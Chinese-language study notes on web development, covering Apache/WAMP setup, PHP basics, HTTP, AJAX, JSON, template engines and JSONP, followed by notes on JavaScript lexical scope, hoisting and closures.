wampserver安装目录下bin\apache\Apache2.2.21\conf\httpd.conf 2、设定根目录,查找并修改 ![](m_03.png) 例如: ![](m_04.png) 这样就指定了 "E:/www/"为存放网站的根目录。 3、配置根目录,查找 ![](m_05.png) 修改成 ![](m_06.png) 4、修改完后,并不能立即生效,需要 **重启Apache** **注:可以指定任意目录为根目录** #### 5.4 网站部署 将我们制作好的网页**拷贝**到配置好的根目录下,浏览器访问127.0.0.1即可。 #### 5.5配置虚拟主机 在一台Web服务器上,我们可以通过配置虚拟主机,然后分别设定根目录,实现对多个网站的管理。 具体步骤如下: 1、开启虚拟主机辅配置,在httpd.conf 中找到 ![](m_09.png) 去掉前面的#号注释,开启虚拟主机配置 2、配置虚拟主机,打开conf/extra/httpd-vhosts.conf ![](m_10.png) 分别修改以下三项 DocumentRoot "E:/www/example" ServerName "example.com " ServerAlias "www.example.com" 其它项无需指定。 3、修改DNS(hosts)文件 打开C:\Windows\System32\drivers\etc\hosts 目录是固定的 ![](m_11.png) 注:修改hosts文件权限 4、重启Apache 5、浏览器访问www.example.com ## 6、PHP基础 >文件以.php后缀结尾,所有程序包含在<?php ** 这里是代码 ** ?> >避免使用中文目录和中文文件名 >php页面无法直接打开需要运行在服务器环境当中 #### 6.1、最简单的php程序 ```php <?php // 用来指定编码集 header('Content-Type:text/html; charset=utf-8'); /*这是一个最简单的php程序*/ echo 'hello world!'; ?> ``` #### 6.3、变量 1、变量以$开头 字母/数字/下划线 不能以数字开头 2、大小写敏感(区分大小写) ```php // 声明一个变量$a并赋值为10 $a = 10; // 输出一个变量$a echo $a; // 声明一个变量$b并赋值为10 $b = 10; // 输出一个变量$b echo $b; // 输出顺序是自上向下的 // 相当于 js dcoument.write() ``` #### 6.3、数据类型 **字符型** ```php $str = 'hello world!'; ``` **整型** ```php $num = 10; ``` **浮点型** ```php $float = 10.5; ``` **布尔型** ```php $bool = true; ``` **数组** ```php // Javascript 数组定义方式 var arr = [1, 2, 3] // arr[0]、arr[1]、arr[1] // PHP 是这样定义数组的 // 这种方式叫做**索引数组** $arr = array(1, 2, 3); // echo $arr[0]; // echo $arr[2]; // 定义方式和Javascript有区别,但是访问方式是一样的 ``` ```php // var obj = {name: itcast, age: 10} // PHP另一种定定数组的方式,所表达的意义和Javascript一样, // 只是语法格式不一样 // 这种方式叫做**关联数组** $arr1 = array('name'=>'itcast', 'age'=>10); // echo $arr1['name']; // echo $arr1['age']; ``` **对象** ```php // Javascript var obj = {name: itcast, age: 10} // PHP需要先创建一个类,下面就是创建过程 class Person { public $name = 'itcast'; public $age = 10; } $person = new Person; // PHP访问一个对象属性的语法是不一样的 echo $person->name; // obj['name']; obj.name 不行 ``` **NULL** ```php //PHP中一种特殊的数据类型,表示空值,即表示没有为该变量设置任何值null(空值)不区分大小写,null和NULL是一样的。 ``` **单引号&双引号区别: ** 单引号内部的变量不会执行双引号会执行 ```php $name = '小明'; echo 'name is $name';//输出 name is $name echo '<br>'; echo "name is $name";//输出 name is 小明 ``` 索引数组、关联数组(了解即可) #### 6.4、运算符&内容输出 基本与Javascript语法一致 . 号表示字符串拼接符,Javascript中为+号 echo:输出简单数据类型,如字符串、数值 ```php /** * 连接符 * Javascript中用+号表示连接符 * PHP中使用.点号 */ $hello = 'hello'; $world = 'world!'; // PHP连接符用.号 echo $hello . ' ' .$world; ``` print_r():输出复杂数据类型,如数组 ```php $arr = array('itcast', '今年', '10岁了'); // 只能输出简单类型 echo $arr; // 可以打印数组,但是输出的是一个数组的结构 print_r($arr); ``` var_dump():输出详细信息,如对象、数组(了解) ```php $arr = array('itcast', '今年', '10岁了'); // 只能输出简单类型 echo $arr; // 输出详细信息 var_dump($arr); $hello = 'hello'; // 输出详细信息 var_dump($hello); ``` #### 6.5、函数 基本与Javascript基本一致 函数名对大小写不敏感 默认参数(了解即可) ```php // 1、PHP中函数不可以省略参数 // 2、PHP可以设置默认参数 function sayHello($name='web developer') { echo $name . '你好!'; } sayHello(); ``` #### 6.6、分支,循环语句 ```php /** * 分支控制语句、循环语句 * 与Javascript一样 * foreach 数组遍历函数,类似Javascript中的 for in */ $name = 'itcast1'; if($name == 'itcast') { echo '我已经在' . $name . '学习'; } else { echo '我还没有学习过编程'; } ``` ```php /** * 分支控制语句、循环语句 * 与Javascript一样 * foreach 数组遍历函数,类似Javascript中的 for in */ // 索引数组 $arr = array('itcast', '今年', '10岁了'); // PHP函数,计算数组的长度 $length = count($arr); // echo $length; // 和Javascript是一样的 // for($i=0; $i<$length; $i++) { // echo $arr[$i]; // } foreach($arr as $k=>$v) { echo $k . '~~~' . $v; }; // 关联数组 $arr1 = array('name'=>'itcast', 'age'=>'10'); // 验证关联数组不可以按索引下标来访问 // echo $arr1[0]; //PHP遍历一个关联数组 foreach($arr1 as $key=>$val) { echo $key . '~~~' . $val; } // 实际开发都是用foreach来遍历数组的 ``` #### 6.7、表单处理 表单name属性的是用来提供给服务端接收所传递数据而设置的 表单action属性设置接收数据的处理程序 表单method属性设置发送数据的方式 当上传文件是需要设置 enctype="multipart/form-data",且只能post方式 $_GET接收 get 传值 $_POST接收 post 传值 $_FILES接收文件上传 move_uploaded_file($_FILES['image']['tmp_name'], 'test.jpg'); ```html <form action="login.php" method="post"> <div class="row"> <label>用户:</label><input type="text" name="username"/> </div> <div class="row"> <label>密码:</label><input type="<PASSWORD>" name="password"/> </div> <div class="row"> <input type="submit" value="登录"/> </div> </form> <form action="login.php" method="post" enctype="multipart/form-data"> <div class="row"> <label>图片:</label><input type="file" name="image"/> </div> <div class="row"> <input type="submit" value="上传"/> </div> </form> ``` #### 6.8、文件导入&&常用php函数 ```PHP include '07.form.html'; require '07.form.php' ``` ```php $array = array( 'username'=>'itcast', 'password'=>'<PASSWORD>' ); echo '获取数组的长度:'.count($array); echo '<br>'; echo '判断是否在数组中:'.in_array('itcast',$array); echo '<br>'; echo '检测数组中是否存在key:'.array_key_exists('username',$array); echo '<br>'; ``` #### 6.9、应用实例 1、用户登录 ```html <form action="login.php" method="post"> <div class="row"> <label>用户:</label><input type="text" name="username"/> </div> <div class="row"> <label>密码:</label><input type="<PASSWORD>" name="password"/> </div> <div class="row"> <input type="submit" value="登录"/> </div> </form> ``` ```php <?php header('Content-Type:text/html; charset=utf-8'); /*数据库当中的数据*/ $userInfo = array( 'username'=>'itcast', 'password'=>'<PASSWORD>' ); /*拿到提交过来的数据*/ $username = $_POST['username']; $password = $_POST['password']; /*去匹配数据库当中的数据*/ if($userInfo['username'] == $username && $userInfo['password'] == $password){ header('refresh:0;url=jdMsite/'); }else{ header('refresh:0;url=login.html'); } ?> ``` 2、动态网站 **京东首页** ```php <?php header('Content-Type:text/html; charset=utf-8'); $product_list = array( array( 'imgUrl'=>'images/detail01.jpg', 'newPrice'=>'15.00', 'oldPrice'=>'19.00' ), array( 'imgUrl'=>'images/detail02.jpg', 'newPrice'=>'133.00', 'oldPrice'=>'234.00' ), array( 'imgUrl'=>'images/detail01.jpg', 'newPrice'=>'340.00', 'oldPrice'=>'1432.00' ) ); include 'index.html'; ?> ``` ```php <!--掌上秒杀的内容是会更新的而且是后台更新--> <ul class="sk_product"> <?php foreach($product_list as $key => $val){ ?> <li> <a href="#"><img src="<?php echo $val['imgUrl'] ?>" alt=""/></a> <p class="new_price">&yen;<?php echo $val['newPrice'] ?></p> <p class="old_price">&yen;<?php echo $val['oldPrice'] ?></p> </li> <?php } ?> </ul> ``` **京东分类** ```php <?php header('Content-Type:text/html; charset=utf-8'); $category = array( '热门推荐', '潮流女装', '品牌男装', '内衣配饰', '家用电器', '电脑办公', '手机数码', '母婴频道', '图书', '家居家纺', '居家生活', '家具建材', '热门推荐', '潮流女装', '品牌男装', '内衣配饰', '家用电器', '电脑办公', '手机数码', '母婴频道', '居家生活', '手机数码', '母婴频道', '图书', '家居家纺', '居家生活', '潮流女装', '家具建材', '热门推荐', '潮流女装', ); //echo count($category); include 'category.html'; ?> ``` ```php <!--左侧分类--> <div class="jd_cate_left"> <ul> <?php foreach($category as $key=>$val){ ?> <li class="<?php echo $key==1?'now':'' ?>"><a href="javascript:;"><?php echo $val ?></a></li> <?php } ?> </ul> </div> ``` ## 7、网络传输协议 #### 7.1、常见协议 1、HTTP、HTTPS 超文本传输协议 2、FTP 文件传输协议 3、SMTP 简单邮件传输协议 #### 7.2、http协议 超文本传输协议(HTTP,HyperText Transfer Protocol) 网站是基于HTTP协议的, 例如网站的图片、CSS、JS等都是基于HTTP协议进行传输的。 HTML Hypertext Markup Language HTTP协议是由从客户机到服务器的请求(Request)和从服务器到客户机的响应(Response)进行了约束和规范。 即HTTP协议主要由请求和响应构成。 ![](m_13.png) 常用请求方法 **POST**、**GET**、PUT、DELETE 我们通过浏览器插件 FireFox httpFox 调试。ctrl shift f2 调用 ##### 7.2.1、请求和请求报文 请求由客户端发起,其规范格式为:请求行、请求头、请求主体。 - **1、请求行** 由请求方式、请求URL和协议版本构成 GET /day01/code/login.php?username=123&password=123 HTTP/1.1 POST /day01/code/login.php HTTP/1.1 - **2、请求头** Host:localhost请求的主机 Cache-Control:max-age=0控制缓存 Accept:*/* 接受的文档MIME类型 User-Agent:很重要 Referer:从哪个URL跳转过来的 Accept-Encoding:可接受的压缩格式 If-None-Match:记录服务器响应的ETag值,用于控制缓存 此值是由服务器自动生成的 If-Modified-Since:记录服务器响应的Last-Modified值 此值是由服务器自动生成的 - **3、请求主体** 即传递给服务端的数据 注:当以post形式提交表单的时候,请求头里会设置 Content-Type: application/x-www-form-urlencoded,以get形式当不需要 ##### 7.2.2、 响应和响应报文 响应由服务器发出,其规范格式为:状态行、响应头、响应主体。 - **1、状态行** 由协议版本号、状态码和状态信息构成 HTTP/1.1 200 OK - **2、响应头** Date:响应时间 Server:服务器信息 Last-Modified:资源最后修改时间 由服务器自动生成 ETag:资源修改后生成的唯一标识 由服务器自动生成 Content-Length:响应主体长度 Content-Type:响应资源的类型 - **3、响应主体** 即服务端返回给客户端的内容; - 状态码 常见的有200代表成功、304文档未修改、403没有权限、404未找到、500服务器错误 ![](get请求.png) ![](post请求.png) ## 8、AJAX编程 >即 Asynchronous [e'sɪŋkrənəs] Javascript And XML, AJAX 不是一门的新的语言,而是对现有技术的综合利用。 >本质是在HTTP协议的基础上以异步的方式与服务器进行通信。 > #### 8.1、 异步 指某段程序执行时不会阻塞其它程序执行,其表现形式为程序的执行顺序不依赖程序本身的书写顺序,相反则为同步。 **其优势在于不阻塞程序的执行,从而提升整体执行效率。** XMLHttpRequest可以以异步方式的处理程序。 #### 8.2、 XMLHttpRequest 浏览器内建对象,用于在后台与服务器通信(交换数据) , 由此我们便可实现对网页的部分更新,而不是刷新整个页面。 ```javascript /*js 内置的 http 请求对象 XMLHttpRequest*/ /*1.怎么使用 这个内置对象*/ var xhr = new XMLHttpRequest; /*2.怎么样去组请求*/ /*请求的行*/ xhr.open('post','01.php'); /*请求头*/ //get 没有必要设置 //post 必须设置 Content-Type: application/x-www-form-urlencoded xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded'); /*请内容*/ /*3.发送请求*/ xhr.send("name=xjj&age=10"); ``` ##### 8.2.1、请求 HTTP请求3个组成部分与XMLHttpRequest方法的对应关系 1、请求行 xhr.open('post','01.php'); 2、请求头 xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded'); get请求可以不设置 3、请求主体 xhr.send("name=xjj&age=10"); get可以传空 **注意书写顺序** ##### 8.2.2、响应 HTTP响应是由服务端发出的,作为客户端更应关心的是响应的结果。 HTTP响应3个组成部分与XMLHttpRequest方法或属性的对应关系。 由于服务器做出响应需要时间(比如网速慢等原因),所以我们需要监听服务器响应的状态,然后才能进行处理。 ```javascript if(xhr.readyState == 4 && xhr.status == 200){ console.log('ok'); console.log(xhr.responseText); /*把内容渲染在页面当中*/ document.querySelector('#result').innerHTML = xhr.responseText; } ``` **readyState** 0:请求未初始化(还没有调用 open())。 1:请求已经建立,但是还没有发送(还没有调用 send())。 2:请求已发送,正在处理中(通常现在可以从响应中获取内容头)。 3:请求在处理中;通常响应中已有部分数据可用了,但是服务器还没有完成响应的生成。 4:响应已完成;您可以获取并使用服务器的响应了。 onreadystatechange是Javascript的事件的一种,其意义在于监听XMLHttpRequest的状态 1、获取状态行(包括状态码&状态信息) xhr.status 状态码 xhr.statusText 状态码信息 2、获取响应头 xhr.getResponseHeader('Content-Type'); xhr.getAllResponseHeaders(); 3、响应主体 xhr.responseText xhr.responseXML 我们需要检测并判断响应头的MIME类型后确定使用request.responseText或者request.responseXML ##### 8.3.3、API详解 xhr.open() 发起请求,可以是get、post方式 xhr.setRequestHeader() 设置请求头 xhr.send() 发送请求主体get方式使用xhr.send(null) xhr.onreadystatechange = function () {} 监听响应状态 xhr.status表示响应码,如200 xhr.statusText表示响应信息,如OK xhr.getAllResponseHeaders() 获取全部响应头信息 xhr.getResponseHeader('key') 获取指定头信息 xhr.responseText、xhr.responseXML都表示响应主体 注:GET和POST请求方式的差异(面试题) 1、GET没有请求主体,使用xhr.send(null) 2、GET可以通过在请求URL上添加请求参数 3、POST可以通过xhr.send('name=itcast&age=10') 4、POST需要设置 5、GET效率更好(应用多) 6、GET大小限制约4K,POST则没有限制 问题?如何获取复杂数据呢? #### 8.3、 XML 1、必须有一个根元素 2、不可有空格、不可以数字或.开头、大小写敏感 3、不可交叉嵌套 4、属性双引号(浏览器自动修正成双引号了) 5、特殊符号要使用实体 6、注释和HTML一样 虽然可以描述和传输复杂数据,但是其解析过于复杂并且体积较大,所以实现开发已经很少使用了。 ```xml <?xml version="1.0" encoding="UTF-8"?> <root> <arrayList> <array> <src>images/banner.jpg</src> <newPirce>12.00</newPirce> <oldPrice>30.00</oldPrice> </array> <array> <src>images/banner.jpg</src> <newPirce>12.00</newPirce> <oldPrice>30.00</oldPrice> </array> </arrayList> </root> ``` ```php <?php header('Content-Type:text/xml;charset=utf-8'); /*以xml格式传输数据的时候要求响应内容格式是 text/xml*/ /*file_get_contents 获取文件内容*/ $xml = file_get_contents('01.xml'); /*输出xml内容*/ echo $xml; ?> ``` ```javascript var xhr = new XMLHttpRequest; xhr.open('get','01.php'); xhr.send(null); xhr.onreadystatechange = function(){ if(xhr.status == 200 && xhr.readyState == 4){ /*获取到XML格式内容 放回的是DOM对象 document*/ var xml = xhr.responseXML; /*通过选着器可以获取到xml的数据*/ console.log(xml.querySelectorAll('array')[0].querySelector('src').innerHTML); } } ``` #### 8.4、 JSON 即 JavaScript Object Notation,另一种轻量级的文本数据交换格式,独立于语言。 1、数据在名称/值对中 2、数据由逗号分隔(最后一个健/值对不能带逗号) 3、花括号保存对象方括号保存数组 4、使用双引号 ```JSON [ {"src":"images/detail01.jpg","oldPrice":"10.12","newPrice":"130.00"}, {"src":"images/detail02.jpg","oldPrice":"1.00","newPrice":"11.00"}, {"src":"images/detail03.jpg","oldPrice":"100.00","newPrice":"1000.00"} ] ``` JSON数据在不同语言进行传输时,类型为字符串,不同的语言各自也都对应有解析方法,需要解析完成后才能读取 **1、PHP解析方法** json_encode()、json_decode() ```PHP <?php header('Content-Type:text/html;charset=utf-8'); /*以json格式传输数据的时候要求响应内容格式是 application/json*/ /*注意也可以不设置 但是这遵循的一个规范*/ /*file_get_contents 获取文件内容*/ $json = file_get_contents('01.json'); /*输出json内容*/ echo $json; echo '<br><br>'; $array = array( array('src'=>'images/detail01.jpg','newPrice'=>'12.00','oldPrice'=>'455.00'), array('src'=>'images/detail02.jpg','newPrice'=>'65.00','oldPrice'=>'878.00'), array( 'src'=>'images/detail01.jpg','newPrice'=>'100.00','oldPrice'=>'1000.00') ); /*将php数组转化成json字符*/ $json_array = json_encode($array); echo $json_array; echo '<br><br>'; /*将json字符转化成php数组*/ $array_json = json_decode($json_array); echo $array_json; echo '<br><br>'; ?> ``` **1、Javascript 解析方法** JSON对象 JSON.parse()、JSON.stringify(); JSON兼容处理json2.js 总结:JSON体积小、解析方便且高效,在实际开发成为首选。 ```javascript var xhr = new XMLHttpRequest; xhr.open('get','01.php'); xhr.send(null); xhr.onreadystatechange = function(){ if(xhr.status == 200 && xhr.readyState == 4){ /*获取仅仅是字符串*/ var text = xhr.responseText; /*需要把字符串转化成JSON对象*/ var json_obj = JSON.parse(text); console.log(json_obj); /*我们也可以把JSON对象转化成字符串*/ var json_str = JSON.stringify(json_obj); console.log(json_str); } } ``` #### 8.5、 兼容性 **关于IE的兼容方面,了解即可。** ```javascript function XHR() { var xhr; try { xhr = new XMLHttpRequest(); } /*如果 try内的程序运行错误 抛出异常 捕捉异常 上面程序当中运行的错误*/ catch(e) { /*在不同的IE版本下初始 ActiveXObject 需要传入的标识*/ var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"]; for (var i=0;i<IEXHRVers.length;i++) { try { xhr = new ActiveXObject(IEXHRVers[i]); } catch(e) { /*如果出现错误的时候 停止当次的循环*/ continue; } } } return xhr; } ``` #### 8.6、 封装ajax工具函数 ```javascript /** * ITCAST WEB * Created by zhousg on 2016/5/24. */ /* * 1. 请求的类型 type get post * 2. 请求地址 url * 3. 是异步的还是同步的 async false true * 4. 请求内容的格式 contentType * 5. 传输的数据 data json对象 * * 6.响应成功处理函数 success function * 7.响应失败的处理函数 error function * * 这些都是动态参数 参数对象 options * */ /*封装一个函数*/ window.$ = {}; /*申明一个ajax的方法*/ $.ajax = function(options){ if(!options || typeof options != 'object'){ return false; } /*请求的类型*/ var type = options.type || 'get';/*默认get*/ /*请求地址 */ var url = options.url || location.pathname;/*当前的地址*/ /*是异步的还是同步的 */ var async = (options.async === false)?false:true;/*默认异步*/ /*请求内容的格式 */ var contentType = options.contentType || "text/html"; /*传输的数据 */ var data = options.data || {};/*{name:'',age:''}*/ /*在提交的时候需要转成 name=xjj 这种格式*/ var dataStr = ''/*数据字符串*/ for(var key in data){ dataStr += key+'='+data[key]+'&'; } dataStr = dataStr && dataStr.slice(0,-1); /*ajax 编程*/ var xhr = new XMLHttpRequest(); /*请求行*/ /*(type=='get'?url+'?'+dataStr:url)判断当前的请求类型*/ xhr.open(type,(type=='get'?url+'?'+dataStr:url),async); /*请求头*/ if(type == 'post'){ xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded'); } /*请求主体*/ /*需要判断请求类型*/ xhr.send(type=='get'?null:dataStr); /*监听响应状态的改变 响应状态*/ xhr.onreadystatechange = function(){ /*请求响应完成并且成功*/ if(xhr.readyState == 4 && xhr.status == 200){ /*success*/ var data = ''; var contentType = xhr.getResponseHeader('Content-Type'); /*如果我们服务器返回的是xml*/ if(contentType.indexOf('xml') > -1){ data = xhr.responseXML; } /*如果我们的服务器返回的是json字符串*/ else if(contentType.indexOf('json') > -1){ /*转化json对象*/ data = JSON.parse(xhr.responseText); } /*否则的话他就是字符串*/ else{ data = xhr.responseText; } /*回调 成功处理函数*/ options.success && options.success(data); } /*计时请求xhr.status不成功 他也需要的响应完成才认作是一个错误的请求*/ else if(xhr.readyState == 4){ /*error*/ options.error && options.error('you request fail !'); } } } $.post = function(options){ options.type = 'post'; $.ajax(options); } $.get = function(options){ options.type = 'get'; $.ajax(options); } ``` #### 8.7、 jquery的ajax - jQuery为我们提供了更强大的Ajax封装 - $.ajax({}) 可配置方式发起Ajax请求 - $.get() 以GET方式发起Ajax请求 - $.post() 以POST方式发起Ajax请求 - $('form').serialize() 序列化表单(即格式化key=val&key=val) - url 接口地址 - type 请求方式 - timeout 请求超时 - dataType 服务器返回格式 - data 发送请求数据 - beforeSend: function () {} 请求发起前调用 - success 成功响应后调用 - error 错误响应时调用 - complete 响应完成时调用(包括成功和失败) - jQuery Ajax介绍 - http://www.w3school.com.cn/jquery/jquery_ref_ajax.asp #### 8.8、 案例练习 1、Loading状态 2、禁止重复提交 3、表单处理 4、数据验证 接口化开发 请求地址即所谓的接口,通常我们所说的接口化开发,其实是指一个接口对应一个功能, 并且严格约束了请求参数和响应结果的格式,这样前后端在开发过程中,可以减少不必要的讨论, 从而并行开发,可以极大的提升开发效率,另外一个好处,当网站进行改版后,服务端接口只需要进行微调。 **具体参考代码** ## 9、模版引擎 #### 9.2、 artTemplate 简介语法模板 ```HTML <script src="dist/template.js"></script> ``` 下载(https://raw.github.com/aui/artTemplate/master/dist/template.js) 编写模版 <script id="test" type="text/html"> <h1>{{title}}</h1> <ul> {{each list as value i}} <li>索引 {{i + 1}} :{{value}}</li> {{/each}} </ul> </script> 渲染数据 var data = { title: '标签', list: ['文艺', '博客', '摄影', '电影', '民谣', '旅行', '吉他'] }; var html = template('test', data); document.getElementById('content').innerHTML = html; 简介语法 {{if admin}} {{include 'admin_content'}} {{each list}} <div>{{$index}}. {{$value.user}}</div> {{/each}} {{/if}} #### 9.1、 artTemplate 原生 js 模板语法版 **使用** 在页面中引用模板引擎: ```HTML <script src="dist/template-native.js"></script> ``` 下载(https://raw.github.com/aui/artTemplate/master/dist/template-native.js) **表达式** <% 与 %> 符号包裹起来的语句则为模板的逻辑表达式。 **输出表达式** 对内容编码输出: <%=content%> 不编码输出: <%=#content%> 编码可以防止数据中含有 HTML 字符串,避免引起 XSS 攻击。 **逻辑** 支持使用 js 原生语法 <h1><%=title%></h1> <ul> <%for(i = 0; i < list.length; i ++) {%> <li>条目内容 <%=i + 1%> :<%=list[i]%></li> <%}%> </ul> 模板不能访问全局对象,公用的方法请参见文档 辅助方法 章节 模板包含表达式 用于嵌入子模板。 <% include('template_name') %> 子模板默认共享当前数据,亦可以指定数据: <% include('template_name', news_list) %> 辅助方法 使用template.helper(name, callback)注册公用辅助方法,例如一个基本的 UBB 替换方法: template.helper('$ubb2html', function (content) { // 处理字符串... return content; }); 模板中使用的方式: <% $ubb2html(content) %> ## 10、同源&跨域 ####10.1 同源 同源策略是浏览器的一种安全策略,所谓同源是指,域名,协议,端口完全相同。 ####10.2 跨域 不同源则跨域 例如http://www.example.com/ http://api.example.com/detail.html 不同源 域名不同 https//www.example.com/detail.html 不同源 协议不同 http://www.example.com:8080/detail.html 不同源 端口不同 http://api.example.com:8080/detail.html 不同源 域名、端口不同 https://api.example.com/detail.html 不同源 协议、域名不同 https://www.example.com:8080/detail.html 不同源 端口、协议不同 http://www.example.com/detail/index.html 同源 只是目录不同 ####10.3 跨域方案(课外拓展) 1、顶级域名相同的可以通过domain.name来解决,即同时设置 domain.name = 顶级域名(如example.com) 2、document.domain + iframe 3、window.name + iframe 4、location.hash + iframe 5、window.postMessage() 参考资料 http://rickgray.me/2015/09/03/solutions-to-cross-domain-in-browser.html #### 10.4、 jsonp >JSON with Padding **1、原理剖析** 其本质是利用了<script src=""></script>标签具有可跨域的特性, 由服务端返回一个预先定义好的Javascript函数的调用,并且将服务器数据以该函数参数的形式传递过来, 此方法需要前后端配合完成。 <!-- 当我们用script标签去加载的时候 会把内容解析成js去执行 --> <script> function fuc(data){ console.log(data.name); } </script> <script src="http://www.guangzhou.com/api.php?callback=fuc"></script> ## 11、综合案例 #### 11.1、瀑布流案例(必须掌握) #### 11.2、天气接口(必须掌握) 接口地址 http://developer.baidu.com/map/carapi-7.htm url: 'http://api.map.baidu.com/telematics/v3/weather?output=json&ak=<KEY>', ![](jk.png) #### 11.3、省级联动(课外拓展)<file_sep>## 词法作用域 - 欺骗词法 + evel + 如果词法作用域完全由写代码期间函数所声明的位置来定义,怎么修改词法作用域呢? + evel();方法,传入一个字符串,可以把字符串当js代码解析执行。 + 但在严格模式下,eval()有自己的词法作用域,并不能修改其所在的作用域。 + new Function()也是一样,前面的参数是这个函数的形参,最后一个参数可以是字符串,会动态解析执行。比eval()略显安全,但要尽量避免使用。 + 这两个方式都很消耗性能,但能带来的好处很小。 + with + with通常被当成重复引用同一个对象中的多个属性的快捷方式。 + with(){}方法本质是传入一个对象,在with中生成一个词法作用域。可以直接使用这个对象的属性。不用对象.属性的方式。 + 但如果这个对象没有这个属性,那么with会产生LHS查找,于是把这个属性声明到全局去了。 + with在严格模式下完全禁止。 ```js var obj={name:"zsn",age:10}; with(obj){console.log(name)};//"zsn" with(obj){ gender="男"}; console.log(obj.gender)// undefined因为obj没有gender属性,于是属性声明到了全局。 console.log(gender) //男 发生了内存泄漏 ``` - 性能 + 如果上述改变词法作用域的方式能实现更复杂的功能,并且代码更具有扩展性,是不是非常好呢? + 但实际情况并不是这样的,js引擎会在编译期间进行数项的性能优化,其中有些优化依赖于词法进行静态分析。并且先确定变量和函数定义的位置,才能在执行过程中快速找到标识符。 + 但是引擎在代码中发现了eval和with,它只能简单假设关于标识符判断是无效的,因为eval在词法分析阶段无法判断传入声明代码。也没法知道with创建新词法作用域的对象内容到底是声明。 + 最悲观的情况就是出现了上述欺骗词法,所以的编译期间的优化都是无效的,最简单的做法就是不优化。 + 如果欺骗词法出现过多,即使引擎把这种悲观的情况控制在最小范围内,也没有办法避免失去了编译期间的数项性能优化,代码运行变慢的事实。 - 小结 + 编译的词法分析阶段基本能够知道全部标识符在哪里以及如何声明的,从而能预测在执行期间如何对它们进行查找。 + eval和with都是在运行期间修改当前词法作用域和生成一个新的词法作用域。这两个机制的副作用是在编译期间引擎无法对其作用域进行优化,因为引擎只能谨慎的认为这样的优化是无效的。使用这其中的如何一个机制都将导致代码运行变慢,最好不要使用。 ### 函数作用域和块作用域 - 隐藏内部实现 + 最小特权原则,这个原则指在软件设计中,应该极小限度暴露必要内容,而将其它内容隐藏起来,比如某个模块或对象设计的API。可以用函数来达到隐藏代码的目的。 + 规避冲突 + 全局命名空间:第三方库通常会在全局作用域中声明一个名字足够独特的变量,通常是个对象,这个对象被称为库的命名空间。所有需要在外界的功能都是它的属性,而不是将自己的标识符暴露在顶级词法作用域中。 + 模块管理:如何库都无法将标识符加入到全局作用域, 而是通过依赖管理器的机制将库的标识符显示地导入到另一个特点地作用域中。 - 函数作用域 + 区分函数声明和函数表达式最简单地方式是看关键字function出现在声明中地位置,如果function是声明中的第一个词,那么就是一个函数声明,否则是一个函数表达式。函数声明和函数表达式的区别就是它们的标识符将会绑定于何处。 + 匿名函数的三个缺点:匿名函数在栈追踪中不会显示出有意义的函数名,使得调试困难;如果没有函数名,当函数需要引用自身只能用过期的arguments.callee;匿名函数省略了对于代码可读性很重要的函数名。最佳实践: 函数表达式非常强大且有用,匿名和具名区别并不会有区别,解决上述问题是加一个函数名。 + (function(){})()第一个括号将这个函数变成了一个表达式,第二个括号将这个函数执行了。这种模式有一个专业术语:IIFE。 相对于这个传统模式,还有一种改进模式:(function(){}())。两者形式功能上是一样的。 + 块级作用域:try{}catch(err){}err只能在catch代码段中访问,并没有声明到全局。 + function b(a){console.log(a)}; b(3);这种情况下在全局访问a为3,说明函数的形参也被挂到了全局中。 + let ecmascript6新的关键字。能把声明的变量绑定在当前 {}中,如if(true){},而且在当前作用域不会像var一样对变量进行提升。只能在声明后访问,不然会报错。 + const常量除了赋值后不能改变外,其它都和let一样。注意,变量定义后不能再用常量修饰。 ### 提升 - var a=2;其实是两个声明,var a; a=2;第一个声明是在编译阶段执行的,第二个声明是在代码执行阶段执行的。变量声明提升到作用域顶部,赋值留在原地。 - 函数表达式即使给命名函数,也不会发生函数提升。 ``` js f(); //TypeError fn(); //fn is not defined var f=function fn(){}; ``` - 函数优先 + 函数声明和变量声明都会被提升,但函数声明优先于变量声明,如果函数声明名称和变量声明名称一样,重复出现的声明,后者会直接被忽略。 + 同名函数,后面出现的会覆盖前面的。 ### 作用域闭包 + 当函数可以记住并访问所在词法作用域时,就产生了闭包。 + 就是在函数声明的词法作用域外使用它,闭包使得函数可以继续访问定义时的词法作用域。 ```js function foo(){ var a=2; function baz(){ console.log(a)}; bar(baz) }; function bar(fn){fn()}; foo();//2 ``` + 间接传递参数 ```js var fn; function foo(){ var a=2; function baz(){ console.log(a)}; fn=baz; }; function bar(){fn()}; foo(); bar(); ``` + 无论通过何种手段将内部函数传递到所在词法作用域外,它都会持有对原始作用域的引用,无论在何处使用这个函数都会使用闭包。 + 无论是在定时器,事件监听,ajax等等,只要使用了回掉函数,实际上就是使用了闭包。因为回调函数可以访问到其声明的词法作用域。 + 自调用函数的确创建了闭包,并且也是最常用来创建可以被封闭起来闭包的工具,即使本身并不会使用闭包。 + 重返块级作用域:块级作用域和闭包的完美结合 ```js for(let i=0;i<5;i++){ setTimeout(function(){console.log(i)},1000*i) } ``` + 模块(单利模式)通过模块实例内部保留对公共API的引用,可以从内部对模块实例进行修改,比如添加或删除方法和属性,以及修改它们的值。 ```js var foo=(function(id){ function change(){ publicApi.iden=identity2; } function identity1(){console.log(id) } function identity2(){ console.log(id.toUpperCase())} var publicApi={iden:identity1,change:change }; return publicApi; })("dfsdds") foo.iden() //dfsdds foo.change() foo.iden() //DFSDDS ```` + 现代模块机制:它符合前面模块模式的特点,为函数定义引入包装函数,并保证它的返回值和模块的API保持一致。 ````js var MyModules=(function(){ var moudules=[]; function define(name,deps,impl) { //name函数名 //deps依赖的函数名组成的数组 //impl函数实体 for (var i = 0; i < deps.length; i++) { //从所有模块里获取当前模块依赖的模块执行的结果 console.log(deps[i]) //deps[i]其实就是让这个模块的名称指向了对应的模块moudules[deps[i]] //引用类型复制的时值的指针 deps[i]=moudules[deps[i]]; } //带入参数,执行模块,把结果存入数组, moudules[name]= impl.apply(impl,deps[i]); } function get(name){ return moudules[name]; } return { define:define, get:get } })(); MyModules.define("bar",[],function(){ function hello(who){ return "Let me introduce"+who; } return { hello:hello } }) MyModules.define("foo",["bar"],function(){ var hungry="hippo"; function awesome(){ console.log(bar.hello(hungry).toUpperCase()); } return { awesome:awesome }; }) var bar=MyModules.get("bar"); var foo=MyModules.get("foo"); console.log(bar.hello("tt")); foo.awesome(); ```` + 未来模块机制 通过模块系统加载时,ES6会将文件当作独立的模块来处理。 + 